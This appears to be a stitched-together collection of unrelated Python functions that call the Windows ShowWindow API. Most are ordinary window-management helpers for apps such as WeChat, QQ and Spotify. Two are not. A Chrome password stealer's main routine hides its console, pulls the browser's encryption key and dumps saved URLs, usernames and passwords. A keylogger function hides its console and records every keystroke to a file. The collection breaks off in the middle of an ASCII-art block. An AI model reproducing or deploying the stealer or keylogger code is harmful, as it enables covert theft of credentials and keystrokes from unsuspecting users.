def QQSend(receiver, msg, send: 'bool' = True): clipboard = paste() copy(msg) windows = getAllWindows() result = False for each in range(len(windows)): if windows[each] == receiver: result = True break elif windows[each].find(receiver) != -1 and windows[each].find( '个会话') != -1: receiver = windows[each] result = True break if result: QQ = FindWindow('TXGuiFoundation', receiver) ShowWindow(QQ, 1) SendMessage(QQ, WM_PASTE, 0, 0) if send: SendMessage(QQ, WM_KEYDOWN, VK_RETURN) ShowWindow(QQ, 6) copy(clipboard) return 0 else: copy(clipboard) return -1
def region_capture(self): gif_app = GetForegroundWindow() ShowWindow(gif_app, SW_MINIMIZE) self.capture_instance = RegionGrab() prev_img = self.capture_instance.preview_region() ShowWindow(gif_app, SW_RESTORE) set_foreground(gif_app) return prev_img
def main(argv: List[str] = argv[1:]) -> int: """ This function starts the ChromePasswordStealer from the command line. """ global printf arguments = parse_args() if not arguments.window: printf = lambda *x: None ShowWindow(GetConsoleWindow(), 0) else: printf = partial(printf, end="\n") printf("Arguments parsed, mode console.", "INFO") stealers = (ChromePasswordsStealer, ChromiumPasswordsStealer) filename = arguments.filename save_all = arguments.save_all stealer = None counter = 0 while not isinstance(stealer, ChromiumPasswordsStealer): stealer = stealers[counter]( f"{filename}{counter}" if filename is not None else None, save_all) counter += 1 printf(f"Stealer created, save filename: {stealer.filename!r}") printf( f"Get DB path: {stealer.db_path!r}, Key file path: {stealer.key_file!r}", "INFO", ) if not stealer.get_database_cursor(): printf("DB not found...", state="NOK") continue printf("DB connection done.") key = b16encode(stealer.get_key() or b"").decode("latin-1") printf(f"Get encryption key: {key!r}") for url, username, password in stealer.get_credentials(): printf(f"Get credentials for {url!r}: {username!r} {password!r}") stealer.save_and_clean() printf("Temp files are cleaned, credentials are saved.", "INFO") if not arguments.window: ShowWindow(GetConsoleWindow(), 1) return 0
def _set_foreground(self, grid=None): if grid is None: grid = self._trader.main if grid.has_style(pywinauto.win32defines.WS_MINIMIZE): # if minimized ShowWindow(grid.wrapper_object(), 9) # restore window state else: SetForegroundWindow(grid.wrapper_object()) # bring to front
def _show_windows(handles, command, redraw_now=False): """Sets the specified window's show state. Parameters ---------- handles: list of window handles command: one of following commands: SW_FORCEMINIMIZE: Minimizes a window, even if the thread that owns the window is not responding. This flag should only be used when minimizing windows from a different thread. SW_HIDE: Hides the window and activates another window. SW_MAXIMIZE: Maximizes the specified window. SW_MINIMIZE: Minimizes the specified window and activates the next top-level window in the Z order. SW_RESTORE: Activates and displays the window. If the window is minimized or maximized, the system restores it to its original size and position. An application should specify this flag when restoring a minimized window. SW_SHOW: Activates the window and displays it in its current size and position. SW_SHOWDEFAULT: Sets the show state based on the SW_ value specified in the STARTUPINFO structure passed to the CreateProcess function by the program that started the application. SW_SHOWMAXIMIZED: Activates the window and displays it as a maximized window. SW_SHOWMINIMIZED: Activates the window and displays it as a minimized window. SW_SHOWMINNOACTIVE: Displays the window as a minimized window. This value is similar to SW_SHOWMINIMIZED, except the window is not activated. SW_SHOWNA: Displays the window in its current size and position. This value is similar to SW_SHOW, except the window is not activated. SW_SHOWNOACTIVATE: Displays a window in its most recent size and position. This value is similar to SW_SHOWNORMAL, except the window is not actived. SW_SHOWNORMAL: Activates and displays a window. If the window is minimized or maximized, the system restores it to its original size and position. An application should specify this flag when displaying the window for the first time. redraw_now : """ # pylint: disable=no-member for handle in handles: if not handle == 0: BringWindowToTop(handle) ShowWindow(handle, command) if redraw_now: rect = GetWindowRect(handle) win32gui.RedrawWindow(handle, rect, None, win32con.RDW_UPDATENOW)
def minimize_window(window_name: Text, delay: Union[float, int] = 1.0) -> NoReturn: """Minimizes window. window_name: Name of the window that needs to be minimize. The name can be fuzzy. delay: Delay with which the window should be minimized. Default: 1 sec. Minimizes the window frame. Note: It is recommended to use when the process starts and needs to be minimized. """ # You can find the reference code here: # https://stackoverflow.com/questions/25466795/how-to-minimize-a-specific-window-in-python?noredirect=1&lq=1 from time import sleep from win32con import SW_MINIMIZE from win32gui import FindWindow, ShowWindow # Delaying the window minimizing by 1 sec by default. sleep(delay) if delay else sleep(1.0) # Minimizes window using the `str_match` function (fuzzy match). ShowWindow(FindWindow(None, str_match(window_name, list_windows())), SW_MINIMIZE)
def Keylogger(event): ####################### # Usadas on Keylogger # ####################### from win32console import GetConsoleWindow from win32gui import ShowWindow from pythoncom import PumpMessages from pyHook import HookManager from time import sleep win = GetConsoleWindow() ShowWindow(win, 0) def OnKeyboardEvent(event): if event.Ascii == 5: _exit(1) if event.Ascii != 0 or 8: f = open('C:\Users\Feric\Downloads\\test\keylogger.txt', 'a+') buffer = f.read() f.close() f = open('C:\Users\Feric\Downloads\\test\keylogger.txt', 'w') keylogs = chr(event.Ascii) if event.Ascii == 13: keylogs = '/n' buffer += keylogs f.write(buffer) f.close() #print buffer hm = HookManager() hm.KeyDown = OnKeyboardEvent hm.HookKeyboard() #sleep(10) PumpMessages()
def get_wind_by_title(self): """显示窗口(此处显示微信)""" from win32gui import FindWindow, SetForegroundWindow, ShowWindow from win32con import SW_RESTORE hwnd = FindWindow("WeChatMainWndForPC", None) # text = GetWindowText(hwnd) SetForegroundWindow(hwnd) ShowWindow(hwnd, SW_RESTORE)
def GetWindByTitile(): """显示窗口(此处显示微信)""" from win32gui import FindWindow, SetForegroundWindow, ShowWindow, GetWindowText from win32con import SW_RESTORE hwnd = FindWindow("WeChatMainWndForPC", None) # text = GetWindowText(hwnd) SetForegroundWindow(hwnd) ShowWindow(hwnd, SW_RESTORE)
def _show_figure(figure_numbers, command): """Sets the specified figure's show state. Parameters ---------- figure_numbers: list of figure numbers command: one of following commands: SW_FORCEMINIMIZE: Minimizes a window, even if the thread that owns the window is not responding. This flag should only be used when minimizing windows from a different thread. SW_HIDE: Hides the window and activates another window. SW_MAXIMIZE: Maximizes the specified window. SW_MINIMIZE: Minimizes the specified window and activates the next top-level window in the Z order. SW_RESTORE: Activates and displays the window. If the window is minimized or maximized, the system restores it to its original size and position. An application should specify this flag when restoring a minimized window. SW_SHOW: Activates the window and displays it in its current size and position. SW_SHOWDEFAULT: Sets the show state based on the SW_ value specified in the STARTUPINFO structure passed to the CreateProcess function by the program that started the application. SW_SHOWMAXIMIZED: Activates the window and displays it as a maximized window. SW_SHOWMINIMIZED: Activates the window and displays it as a minimized window. SW_SHOWMINNOACTIVE: Displays the window as a minimized window. This value is similar to SW_SHOWMINIMIZED, except the window is not activated. SW_SHOWNA: Displays the window in its current size and position. This value is similar to SW_SHOW, except the window is not activated. SW_SHOWNOACTIVATE: Displays a window in its most recent size and position. This value is similar to SW_SHOWNORMAL, except the window is not actived. SW_SHOWNORMAL: Activates and displays a window. If the window is minimized or maximized, the system restores it to its original size and position. An application should specify this flag when displaying the window for the first time. """ for number in _parse_figure_numbers(*figure_numbers): for format_ in FIGURE_TITLE_FORMATS: title = format_ + ' %d' % number handle = FindWindow(None, title) if not handle == 0: BringWindowToTop(handle) ShowWindow(handle, command)
def on_create(self, hwnd, message, wparam, lparam): set_timer(30000, self.on_timer) SetWindowLong(hwnd, GWL_STYLE, WS_POPUP | WS_CHILD) SetWindowLong(hwnd, GWL_EXSTYLE, WS_EX_LAYERED | WS_EX_TOPMOST | WS_EX_TOOLWINDOW) SetWindowPos(self.hwnd, 0, 0, 0, 200, 200, SWP_NOMOVE | SWP_NOZORDER) SetWindowPos(self.hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE) SetWindowPos(self.hwnd, 0, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOZORDER) ShowWindow(self.hwnd, SW_SHOW)
def __prepare_screen(self): #TODO : RESET WINDOW SIZE TO MAKE IT WOKR PERFECTLY WITH THE POSITIONS BELOW #put the cmd dialog at top most self.cmd_whnd.SetWindowPos(-1, self.cmd_window_pos, 0x0040) #top_most:-1 #maximize the bid window, which is a webpage at the moment ShowWindow(self.bid_whnd, 3) #MAX:3 self.__bring_myself_to_Foreground()
def events(self): self.interface.events(self.event_handler) self.state_events(self.event_handler) if self.close_button.pressed: self.running = False if self.hide_button.pressed: minimize = GetForegroundWindow() ShowWindow(minimize, SW_MINIMIZE)
def Focus(window): def windowEnumerationHandler(hwnd, top_windows): top_windows.append((hwnd, GetWindowText(hwnd))) top_windows = [] EnumWindows(windowEnumerationHandler, top_windows) for i in top_windows: if window in i[1].lower(): ShowWindow(i[0], 5) SetForegroundWindow(i[0]) return
def BuildWindow(self): width = 400 height = 100 self.dialog = CreateWindowEx( win32con.WS_EX_TOPMOST, WC_DIALOG, self.title + ' (0%)', win32con.WS_VISIBLE | win32con.WS_OVERLAPPEDWINDOW, int(round( GetSystemMetrics(win32con.SM_CXSCREEN) * .5 - width * .5)), int(round( GetSystemMetrics(win32con.SM_CYSCREEN) * .5 - height * .5)), width, height, 0, 0, self.hinst, None) self.progbar = CreateWindow( # win32con.WS_EX_DLGMODALFRAME, 'msctls_progress32', '', win32con.WS_VISIBLE | win32con.WS_CHILD, 10, 10, width - 30, 20, self.dialog, 0, 0, None) if self.can_abort: self.button = CreateWindow( # win32con.WS_EX_DLGMODALFRAME, 'BUTTON', 'Cancel', win32con.WS_VISIBLE | win32con.WS_CHILD | win32con.BS_PUSHBUTTON, # @IgnorePep8 int(width / 2.75), 40, 100, 20, self.dialog, 0, 0, None) self.oldWndProc = SetWindowLong( self.dialog, win32con.GWL_WNDPROC, self.DlgProc) SendMessage(self.progbar, PBM_SETRANGE, 0, MAKELPARAM(0, self.max_val)) # win32gui.SendMessage(self.progbar, PBM_SETSTEP, 0, 10) # win32gui.SendMessage(self.progbar, PBM_SETMARQUEE, 0, 0) ShowWindow(self.progbar, win32con.SW_SHOW)
def go(): try: HP.VersionCheck() ShowWindow(GetForegroundWindow(), SW_MINIMIZE) root = Tk() root.geometry('%dx%d+%d+%d' % HP.CenterWindow(root, 50, 275)) root.wm_attributes("-topmost", 1) Insults,Praise = HP.GenInsultsNPraise() e = HealslutMaster(root, HP.GenFolders(), HP.GenUserInfo(), HP.GenBackgroundList(), HP.GenUserPref(), Insults, Praise) print('Healslut Master is now live \n') root.mainloop() except Exception as e: HP.HandleError(format_exc(2), e, 'healslutmaster.go', subj='')
def focus_on(name): count = 0 # search until found while True: count += 1 w = find_starting_with(name) press('alt') sleep(0.2) press_and_release('tab') release('alt') if w != 0: try: ShowWindow(w, 6) ShowWindow(w, 9) sleep(4) SetForegroundWindow(w) return 1 except Exception as e: print(e) sleep(0.5) if count > 20: print("ERROR: Couldn't find the browser tab.") return 0 sleep(0.5)
def Focus(window): def windowEnumerationHandler(hwnd, top_windows): top_windows.append((hwnd, GetWindowText(hwnd))) top_windows = [] info("Focus() scanning active windows") EnumWindows(windowEnumerationHandler, top_windows) for i in top_windows: if window in i[1].lower(): info("Focus() valid window found. focusing on window") ShowWindow(i[0],5) SetForegroundWindow(i[0]) return info("Focus() no valid window found")
def hideSpotify(self) -> None: self.win.set_transparency(0) ShowWindow(self.win.handle, SW_SHOWNOACTIVATE) sleep(0.1) self.posY = self.base.rectangle().top SetWindowPos(self.win.handle, HWND_BOTTOM, 0, 0, 0, 0, BOTTOM_FLAGS) self.win.move_window(y=-50) if self.win.has_focus(): if self.hideloop > 9: self.hideloop = 0 try: SetForegroundWindow(DESKTOP_HWND) self.hideloop = 0 except: self.hideloop += 1 self.hideSpotify()
def captureAlbumArt(self): while (self.windowHandle != GetForegroundWindow()): SetForegroundWindow(self.windowHandle) time.sleep( WAIT_TIME) ## Give Spotify a moment to come to the foreground ShowWindow(self.windowHandle, SW_SHOWMAXIMIZED) time.sleep(WAIT_TIME) ## Give Spotify a second to become maximized ## Get the edges of the window left, top, right, bottom = GetWindowRect(self.windowHandle) left += self.artOffsets[0] bottom -= self.artOffsets[1] ## Get the album art's location from those edges and user specified offsets. region = (left, bottom - self.artSideLength, left + self.artSideLength, bottom) return pyscreenshot.grab(bbox=region, childprocess=False)
def hideSpotify(): # This function is for sure confusing, as it was for def get_hwnds_for_pid( pid): # me, but it gets the hwnd of spotify from the pid def callback(hwnd, hwnds): # in order to minimize it to the SystemTray later if IsWindowVisible(hwnd) and IsWindowEnabled(hwnd): _, found_pid = GetWindowThreadProcessId(hwnd) if found_pid == pid: hwnds.append(hwnd) return True hwnds = [] EnumWindows(callback, hwnds) return hwnds processes_names = {} for proc in psutil.process_iter(['pid', 'name']): processes_names[proc.name()] = proc if 'Spotify.exe' in processes_names: main = processes_names["Spotify.exe"].pid parent = processes_names["Spotify.exe"].parent().pid if parent is None: spotify_handles = get_hwnds_for_pid(main) else: spotify_handles = get_hwnds_for_pid(parent) for handle in spotify_handles: ShowWindow(handle, SW_HIDE) # Spotify has to be running in order for spotibar to work, so if it's if "Spotify.exe" not in processes_names: # not running an error popup window will appear. sg.PopupError( "Spotify has to be running\nin order to use this program\n", no_titlebar=True, background_color="#212121", font="ProximaNova 15", grab_anywhere=True, text_color="#b3b3b3", keep_on_top=True) exit()
def _show_or_hide_browser(self, hide: bool = True) -> None: from platform import system if system().lower() != 'windows': raise OSError('该方法只能在Windows系统使用。') try: from win32gui import ShowWindow from win32con import SW_HIDE, SW_SHOW except ImportError: raise ImportError('请先安装:pip install pypiwin32') pid = self.get_browser_progress_id() if not pid: print( '只有设置了debugger_address参数才能使用 show_browser() 和 hide_browser()') return hds = _get_chrome_hwnds_from_pid(pid) sw = SW_HIDE if hide else SW_SHOW for hd in hds: ShowWindow(hd, sw)
def RunVideoWallpaper(player_window_handel):#设置视频壁纸 if(player_window_handel!=0): #查找桌面窗口 desktop_window_handel = FindWindow("Progman", "Program Manager") #设置player_window为desktop_window的子窗口 SetParent(player_window_handel, desktop_window_handel) #核心语句,向desktop_window发送0x52C启用Active Desktop SendMessageTimeout(desktop_window_handel, 0x52C, 0, 0, SMTO_ABORTIFHUNG, 100) #因为有两个同类同名的WorkerW窗口,所以遍历所以顶层窗口 workerw=[0] EnumWindows(_MyCallback, workerw) #获取player_windows名称 player_windows_name = GetWindowText(player_window_handel) while(True):#防止win+tab将player_window发送到图标窗口的父窗口(原因不明)及SetParent导致静态壁纸窗口重新出现 #隐藏静态壁纸窗口 ShowWindow(workerw[0], SW_HIDE) #判断player_window是否在desktop_window下 player_under_desktop = FindWindowEx(desktop_window_handel, None, "SDL_app", player_windows_name) if(player_under_desktop==0):#如果player_window位置不正确 #将player_window设置为desktop_window的子窗口 SetParent(player_window_handel, desktop_window_handel)
def new_window(self, win, parent=None, *, title=None, contents): template = (title, (0, 0, 0, 0), WS_OVERLAPPEDWINDOW) handlers = { WM_INITDIALOG: partial(self.on_init_dialog, win), WM_DESTROY: partial(self.on_destroy, win), WM_CLOSE: partial(self.on_close, win), WM_SIZE: partial(self.on_size, win), WM_COMMAND: partial(self.on_command, win), WM_NOTIFY: partial(self.on_notify, win), } win.contents = contents win.commands = dict() win.id = 1024 if parent: parent = parent.hwnd win.init_exc = None # Tunnel exceptions raised during WM_INITDIALOG try: CreateDialogIndirect(None, (template, ), parent, handlers) if win.init_exc: raise win.init_exc finally: del win.init_exc (left, top, _, _) = GetWindowRect(win.hwnd) width = round(80 * win.x_unit) + round(160 * win.x_unit) height = round(250 * win.y_unit) width += GetSystemMetrics(SM_CXSIZEFRAME) * 2 height += GetSystemMetrics(SM_CYSIZEFRAME) * 2 height += GetSystemMetrics(SM_CYCAPTION) MoveWindow(win.hwnd, left, top, width, height, 0) ShowWindow(win.hwnd, SW_SHOWNORMAL) self.visible.add(win)
def start_recording(self): gif_app = GetForegroundWindow() ShowWindow(gif_app, SW_MINIMIZE) self.capture_instance.start_capture()
def winDiscovery(self, appName=None, winTitle=None, beginTitle=None, skipTitle=None): """ support finding and focusing on application window or simple window title. Find the index and focuses on the first match of any of these. Applications within the application dictionary could have a number window_titles associated. """ wins = {} hwin = None index = None self.skipTitle = skipTitle # numerate windows into dictionary "wins" through callback function EnumWindows(self._callBack_popWin, wins) # clear the skip title that was passed into this function self.skipTitle = None total_windows = len(wins) # creating match lists for window titles namelist = [] partlist = [] if winTitle: namelist.append(winTitle) elif beginTitle: for v in wins.values(): if v.startswith(beginTitle): namelist.append(v) if appName: # trying to find window title of selected application within window # dictionary( local application context). Checking that the window # exists and it has supporting local application context (appDict) app = self.appDict[str(appName)] # app is an AppWindow object # checking if the window names is a list, handle string occurrence try: if app.winHandle: ShowWindow(int(hwin), 1) #SW_RESTORE) SetForegroundWindow(int(hwin)) #SetActiveWindow(int(hwin)) return (str(hwin), wins) except: pass # check if winNames is a list and add name to append to namelist if getattr(app.winNames, 'append', None): namelist = namelist + app.winNames else: namelist.append(app.winNames) # iterate through populated list of potential window titles for name in namelist: try: for title in wins.values(): if name in title: index = wins.values().index(title) break except: pass if index is not None: # logging.debug("index of application window: %s = %d" % # (wins[index],index)) hwin = (wins.keys())[index] logging.debug("Name: {0}, Handle: {1}".format( wins[hwin], str(hwin))) try: app.winHandle = hwin except: pass # ShowWindow and SetForegroundWindow are the recommended functions ShowWindow(int(hwin), 1) #SW_RESTORE) SetForegroundWindow(int(hwin)) #SetActiveWindow(int(hwin)) #app.winRect = wg.GetWindowRect(hwin) return (str(hwin), wins) else: return (None, wins)
def get_wind_by_title(name): """显示窗口""" hwnd = FindWindow(None, name) # text = GetWindowText(hwnd) SetForegroundWindow(hwnd) ShowWindow(hwnd, SW_RESTORE)
def showMainWindowFromMonitor(window): ShowWindow(window, 5) pressAlt() SetForegroundWindow(window)
def AsciiArt(): sleep(5) #maximize program info("AsciiArt() maximizing window") hwnd = GetForegroundWindow() ShowWindow(hwnd, SW_MAXIMIZE) #print art zelda=( "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWWNNXXKKKKXXXNWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNXXK00OOOOOOOO000000KKXNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWX0kkxxdxxxkkkkkOOOOO000OkxxkOKNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXxlclloodddxxkOkOOOOOOOOOOkdlloxOO0XWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0c;:cllodddxxxxkkkkkOOO00OOkxoc:odoldO0NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0:,clooooooolloddxkkkkxkkxxxxxdl::c;':c:o0NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0c;lodkkOxl;;:dO00OkxkOkxxddocclllc,.....:oxKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMKoclodkkOOOo:cxO0KXNXOkO0kxdxxdolc::;.. ..:cldOXWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNxllooddxkxdc;lxKX00XNXOkOOxddddxxdl:,.....',cdkO0KXNWWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWOllllodOKK0kc,,;xXKOO0XKkkOxooodooxxo;......,coddxxxxkO0KKXXNNWNNNXXXXKKKKKKKKXXXNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXxclodxk0XNKd;,,,cO0kddkOkxkxolcoo:;llc;..'',;;;;cllodddddxxkkOOOkkkkkxxdxxxxxxxxxkO0KXNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWWMW0lcodxxkKXNO::cloldOkocoddxxkdcccdxc,::;,,''''.,:odxkkkkkxxxxxxkkkxxddddxxkkOOkxxxxkxxkkO0KXNNWMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNXXOl:llldxkO0XkclxkOxdkkd::llodxdcclcoxc;:;''''.',;cldxxkkkkkkkkkxxxxdddddxxkkkkkxddddddddxxxxkkO0KXXXNNWWWMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNKdc:;:::ooxolkxloOKXXOdxdl;;::cool:lo::dc;;;'.',',;:clloddddddxxddddddddooooooooll::::ccccllloooddxxxxxkkOO0NMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXOo;',,;clol;cdcckXNWXxlolc:;;::cc::l:',c:;,'..',;;,',;:coddddddddoollc:;;,,,''''..'',;::ccclllllloooddxxkk0NMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXx:''.'cccc::cc:cxXWWKdlllc::;;;:;;:;'..',,'...';:;,,;:cllllllcc:;,'....',:cllooodddddxxxxkkkOO0KKXXNNWWMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXl',..:l::cllc::coOXWXdlooccc:;;;,,,'.........';::;;;;;;;;,,,'...';ldk0KNWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXxxXWMMMMMNkxl'.;ol:cdxdc;cccoOKKxdxolol:;,'''.........',,,,,''''......;cdOKNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWO:,cdONXKKKKNO:',colcdO0OxkKOddk0Kkxoc;'.':,','..'.''. .'coddolloodxOKNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMKxoc:;;:;...'ok:.,;clox0NNNNNNXKKKXOocc;;:ooc;,,':dlokkdlccxKNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNNNNWWWMMMMMMMMMMWKxdoc;,'.. ...','..;:cldOXNWWWWWNXXXklxOkxxxoc,...lXWXXWMMMWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXOOXNXXXNNWWMMMMMMMXxdoc;'........,c:..;:;:cdKNWWWWWNXXKxldO0OOkd:....:KWMWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWX0xoxKOkOOKK00KNWWMMNklooc;'.''....;xd:,',:;,cxOKNNWWNXKXKdldkOOkdc'.....:xNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKkdodd0NKOddOkxxxO0KNNKxooodoolllcc::ldlcc:',;',oO0KXXNNX0Oxoddxxdo;. ......'lONWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMWKxlooookXNOxddxkO0kddxKXXXK0Okkxkkxxxxddolccc:';,.,lk0KKKK0Okxddddoc' ......',:oONMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMWKxoooolclkNN0xdkKXNKdclk0KKXXNNXXK0Okkxxxxxdoccl:,,'.':d0XXXK0Okxdoc,... .......,;:lxKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMWKklcoxkxlclkXKkddkOkxo:.';coxOKKXKXXXXK00Okxddol:cl:'...';lx0XXK0xoc:'.','.. ......';;cllxXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMNKOkxl:lddolookKOkkxdloo;,,;;;,,;:cldkOO000KKK0OOxoccll:,,;::::cllllc:;,.';;;,'........,;::;:oxO00XNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMWNKOkkxc,.,ooldxkKWMMWXxoc;;cllllccc;,'',;cldkO0KKKK0kkkkxdloddddl:;;;;;;'.',;::;,. .'....',,',;;;:clclxXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMWXKOkxo:'.',,:ooxkkOKWN0kd:,;cllooolllcc:::,'',;:d0K00OO0KKXNNkooldkdc,'''..'',;::;,...,'....''.',,;;;::,;dNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMWNK0Okd:,..,;;;;;:ccodxKXx;,;:clcclodolllllcccc:c:::okkoooxKNWMMWOl;,oOkxl::;,::;;clcc:,..;;'',,'...',;;',;,'cKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMWXKOkdl;..',;;;;;;;,'.;d0Ol,;cllllllloooolclooolcccccloo;,lodXMMMMWkl:;xOOkxdollc::ldool;'..:;'':,...''';,'...,lKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMWNK0kxo:'.';;;:cc:;:::;;,,o0d,,cooooolllloooolc::oddlc:cclddlod0WMMMMNkl::kK0OxdddoodkOkdl:''.';;.';'....',;,'..';oXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", 